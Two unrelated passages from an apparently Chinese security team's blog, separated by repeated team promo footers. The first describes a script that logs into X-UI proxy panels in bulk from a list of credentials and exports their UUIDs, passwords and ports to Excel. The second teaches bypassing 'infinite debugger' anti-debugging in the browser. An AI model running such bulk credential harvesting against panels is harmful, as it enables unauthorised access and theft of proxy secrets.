以vless协议为例，关键参数包括协议类型、地址、端口、uuid等等。

抓包可看到获取相关协议时为json数据，相关字段在响应字段中均能找到。

那么我们的大体思路可以为： 1、读取登录信息 首先读取用户提供的txt文本文件，文件中包含面板URL和对应的用户名:密码。由脚本自动读取并解析面板登录信息。 2、自动登录与数据获取 依次用每组URL和账号密码登录面板（通过POST请求/login），登录成功后再POST请求/xui/inbound/list接口，获取面板的入站配置JSON信息。 3、解析各种协议数据 针对不同协议（如vless、vmess、shadowsocks、socks等），解析JSON数据中各自的关键字段，比如邮箱、端口、传输方式、path、用户名、密码、加密方式、UUID等。 4、数据整合与导出 所有面板的数据最后统一导出为Excel（xls）文件，面板的服务器IP自动填充到每一条的对应数据，方便后续管理和区分。字段齐全，尽量做到格式美观。

2、实现代码

我们可以先POST请求/login接口，提交用户名和密码，登录成功后再POST请求/xui/inbound/list接口，获取入站配置的JSON数据。

关于主函数的调用流程，可以循环遍历每组URL和账号密码，调用login_and_fetch_data登录并获取数据；如果登录成功，调用process_inbound_data解析数据，并将结果存到列表。

当然重要的是解析各种类型的协议数据，比如我们可以首先解析入站配置数据

第一步要遍历入站配置数据（data.get('obj', [])），提取每个入站配置的协议类型、端口、传输方式、path等基础信息；然后调用get_email_from_settings、get_user_pass_from_settings、get_vmess_uuid等函数，根据协议类型提取相应的字段。 其次就是要针对不同协议，分别提取用户名、密码和加密方式：

还有一些比较特殊的协议，比如提取vmess的UUID这种

大体上的实现思路与代码就这些，接下来让我们运行脚本查看效果。

最终导出的Excel文件如下

基本上看起来还算可以~

0x05 总结

整体上脚本通过“读取文件 → 登录面板 → 解析数据 → 整合导出”的流程，实现了批量自动抓取XUI面板数据并导出为Excel的功能，方便我们对其中数据的利用。后期如果扩展支持更多协议或字段，那么在解析部分增加对应的提取逻辑就行了。

团队自研平台：潮汐在线指纹识别平台 | 潮听漏洞情报平台 | 潮巡资产管理与威胁监测平台 | 潮汐网络空间资产测绘 | 潮声漏洞检测平台 | 在线免杀平台 | CTF练习平台 | 物联网固件检测平台 | SRC资产监控平台  | ......

技术分享方向:Web安全 | 红蓝对抗 | 移动安全 | 应急响应 | 工控安全 | 物联网安全 | 密码学 | 人工智能 | ctf 等方面的沟通及分享

团队知识wiki：红蓝对抗 | 漏洞武器库 | 远控免杀 | 移动安全 | 物联网安全 | 代码审计 | CTF | 工控安全 | 应急响应 | 人工智能 | 密码学 | CobaltStrike | 安全测试用例 | ......

团队网盘资料：安全法律法规 | 安全认证资料 | 代码审计 | 渗透安全工具 | 工控安全工具 | 移动安全工具 | 物联网安全 | 其它安全文库合辑  | ......

团队自研平台：潮汐在线指纹识别平台 | 潮听漏洞情报平台 | 潮巡资产管理与威胁监测平台 | 潮汐网络空间资产测绘 | 潮声漏洞检测平台 | 在线免杀平台 | CTF练习平台 | 物联网固件检测平台 | SRC资产监控平台  | ......

技术分享方向:Web安全 | 红蓝对抗 | 移动安全 | 应急响应 | 工控安全 | 物联网安全 | 密码学 | 人工智能 | ctf 等方面的沟通及分享

团队知识wiki：红蓝对抗 | 漏洞武器库 | 远控免杀 | 移动安全 | 物联网安全 | 代码审计 | CTF | 工控安全 | 应急响应 | 人工智能 | 密码学 | CobaltStrike | 安全测试用例 | ......

团队网盘资料：安全法律法规 | 安全认证资料 | 代码审计 | 渗透安全工具 | 工控安全工具 | 移动安全工具 | 物联网安全 | 其它安全文库合辑  | ......

0x01 JS逆向-反调试

反调试就是实现防止他人调试、动态分析自己的代码

检测调试方法：

• 无限debugger技术

• 键盘监听（F12）

• 检测浏览器的高度插值

• 检测开发者人员工具变量是否为true

• 利用console.log调用次数

• 利用代码运行的时间差

• 利用toString

• 检测非浏览器

0x02 无限Debugger的原理与绕过

Debugger是JavaScript中定义的一个专门用于断点调试的关键字，只要遇到它，JavaScript的执行就会在此处中断，进入调试模式。有了Debugger这个关键字，我们就可以非常方便的对JavaScript代码进行调试，比如使用JavaScript  Hook时，我们可以加入Debugger关键字，使其在关键的位置停下来，以便我们查找逆向突破口，但有时候Debugger会被网站开发者利用，使其成为阻挠我们正常调试的拦路虎。

0x03 案例介绍

案例源码如下：

<!DOCTYPE html>
<html lang="en">
<head>
 <meta charset="UTF-8">
 <title>无限Debugger案例</title>
</head>
<h1 id="box">TIDE</h1>
<body>
 <script type="text/javascript">
  setInterval(()=>{
      (function(a) {
          return (function(a) {
              return (Function('Function(arguments[0]+"' + a + '")()'))
          }
          )(a)
     }
     )('bugger')('de', 0, 0, (0,
     0));
}
, 1000);
 </script>
</body>
</html>

此处我们打开刚刚我们搭建好的案例地址。一般操作和之前的网站没有什么不同。但是，一旦我们打开开发者工具，就会发现它立即进入了断点模式，如下图所示。此处我们并未设置任何断点，他就直接进入了断点模式，这时候我们点击 恢复脚本执行按钮，尝试跳过这个断点继续执行，但结果仍会一次次的进入断点模式，无限循环下去，我们称这样的情况为无限debugger。

0x04 实现原理

首先我们要做的是找到无限Debugger的源头，上面的案例通过堆栈回溯，查看 debugger 是如何生成的。继续往上进行追溯，发现逻辑代码。

setInterval(()=>{
      (function(a) {
          return (function(a) {
              return (Function('Function(arguments[0]+"' + a + '")()'))
          }
          )(a)
     }
     )('bugger')('de', 0, 0, (0,
     0));
}
, 1000);

0x05 常见绕过方法：

因为debugger其实就是对应的一个断点，它相当于用代码显示的声明了一个断点，要解除它，我们只需要禁用这个断点就可以了。

1.1 禁用断点法

此处我们可在开发者工具右侧有一个禁用断点点击它，该按钮就会被激活，变成蓝色。这时我们再次点击恢复脚本执行按钮，跳过当前断点，页面就不会再进入到无限 debugger 的状态了。但这种全局禁用断点的一个弊端是，禁用之后，我们自身添加的断点也无法进行调试了，所有的断点都不会被执行。所以这种方法基本不用。

1.2 此处暂停法

将停用断点按钮关掉后，页面再次进入无限Debugger模式，此处我们可以尝试另一种方法来跳过这个无限 debugger。在debugger语句所在行的行号上单击鼠标右键，此时会出现一个快捷菜单。我们选择永不再此处暂停这个选项后，再次点击恢复脚本执行按钮，发现页面也没有再进入到无限 debugger 的状态了。

1.3 条件断点法

在JS代码 debugger 行数位置，鼠标右键添加条件断点，其中条件设为false再次点击恢复脚本执行按钮，发现页面正常执行。

1.4 本地覆盖法

另外我们可以通过源代码-工作区功能，将远程的Javascript文件替换成本地的JavaScript文件，此处绕过方法直接将其中的 debugger 这个关键字删除即可。 此处我们点击存在无限debugger断点的js代码文件，右键选择替代内容

添加一个用于存放代码的文件夹后，根据上方的提示选择允许。此后，我们直接将存在debugger的语句注释掉，然后保存。再次刷新，发现debugger断点也已经跳出。

团队自研平台：潮汐在线指纹识别平台 | 潮听漏洞情报平台 | 潮巡资产管理与威胁监测平台 | 潮汐网络空间资产测绘 | 潮声漏洞检测平台 | 在线免杀平台 | CTF练习平台 | 物联网固件检测平台 | SRC资产监控平台  | ......

技术分享方向:Web安全 | 红蓝对抗 | 移动安全 | 应急响应 | 工控安全 | 物联网安全 | 密码学 | 人工智能 | ctf 等方面的沟通及分享

团队知识wiki：红蓝对抗 | 漏洞武器库 | 远控免杀 | 移动安全 | 物联网安全 | 代码审计 | CTF | 工控安全 | 应急响应 | 人工智能 | 密码学 | CobaltStrike | 安全测试用例 | ......

团队网盘资料：安全法律法规 | 安全认证资料 | 代码审计 | 渗透安全工具 | 工控安全工具 | 移动安全工具 | 物联网安全 | 其它安全文库合辑  | ......

团队自研平台：潮汐在线指纹识别平台 | 潮听漏洞情报平台 | 潮巡资产管理与威胁监测平台 | 潮汐网络空间资产测绘 | 潮声漏洞检测平台 | 在线免杀平台 | CTF练习平台 | 物联网固件检测平台 | SRC资产监控平台  | ......

技术分享方向:Web安全 | 红蓝对抗 | 移动安全 | 应急响应 | 工控安全 | 物联网安全 | 密码学 | 人工智能 | ctf 等方面的沟通及分享

团队知识wiki：红蓝对抗 | 漏洞武器库 | 远控免杀 | 移动安全 | 物联网安全 | 代码审计 | CTF | 工控安全 | 应急响应 | 人工智能 | 密码学 | CobaltStrike | 安全测试用例 | ......

团队网盘资料：安全法律法规 | 安全认证资料 | 代码审计 | 渗透安全工具 | 工控安全工具 | 移动安全工具 | 物联网安全 | 其它安全文库合辑  | ......